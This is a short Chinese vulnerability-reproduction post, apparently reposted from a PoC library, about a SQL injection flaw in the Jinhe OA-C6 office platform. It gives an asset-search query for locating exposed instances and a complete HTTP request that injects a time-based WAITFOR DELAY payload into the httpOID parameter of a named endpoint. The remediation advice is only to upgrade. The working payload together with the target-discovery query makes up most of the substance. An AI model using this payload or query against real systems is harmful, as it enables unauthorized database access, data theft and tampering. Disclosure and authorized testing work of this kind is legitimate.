文章总结： 本文介绍了金和OA-C6系统存在的SQL注入漏洞，攻击者可通过构造恶意SQL语句操控数据库，可能导致敏感信息泄露、数据篡改甚至服务器权限被获取。文章提供了用于漏洞复现的POC，并建议将系统升级至最新安全版本以进行修复。 综合评分： 75 文章分类： 漏洞分析,WEB安全,渗透测试,解决方案,安全运营

金和OA-C6系统SQL注入漏洞 附POC

原创

安服仔 安服仔

北风漏洞复现文库

2026年3月23日 10:13 广东

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

#

#

#

01

—

漏洞名称

金和OA-C6系统SQL注入漏洞

#

02

—

影响版本

03

—

漏洞简介

金和OA-C6系统是一款面向大中型企业及集团化组织的协同运营管理平台，其特点包括功能强大、使用便捷、安装维护简单、安全可靠、性能稳定，并提供科学的服务体系。该系统旨在帮助企业规范管理流程、提升办公效率、降低运营成本，实现战略目标的有效落地。金和OA-C6系统存在sql注入漏洞，攻击者可通过构造恶意SQL语句操控数据库，可能导致敏感信息泄露、数据篡改甚至服务器权限被获取。

04

—

资产测绘

app="金和网络-金和OA"

05

—

漏洞复现

POC

GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfillAppprove.aspx/?httpOID=1;WAITFOR+DELAY+%270:0:1%27-- HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: ASP.NET_SessionId=jw4gn0cjk2ufvecm45kn1u4xUpgrade-Insecure-Requests: 1Priority: u=0, i

06

—

修复建议

升级至最新安全版本

07

—

往期回顾

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：北风漏洞复现文库 安服仔 安服仔《金和OA-C6系统SQL注入漏洞 附POC》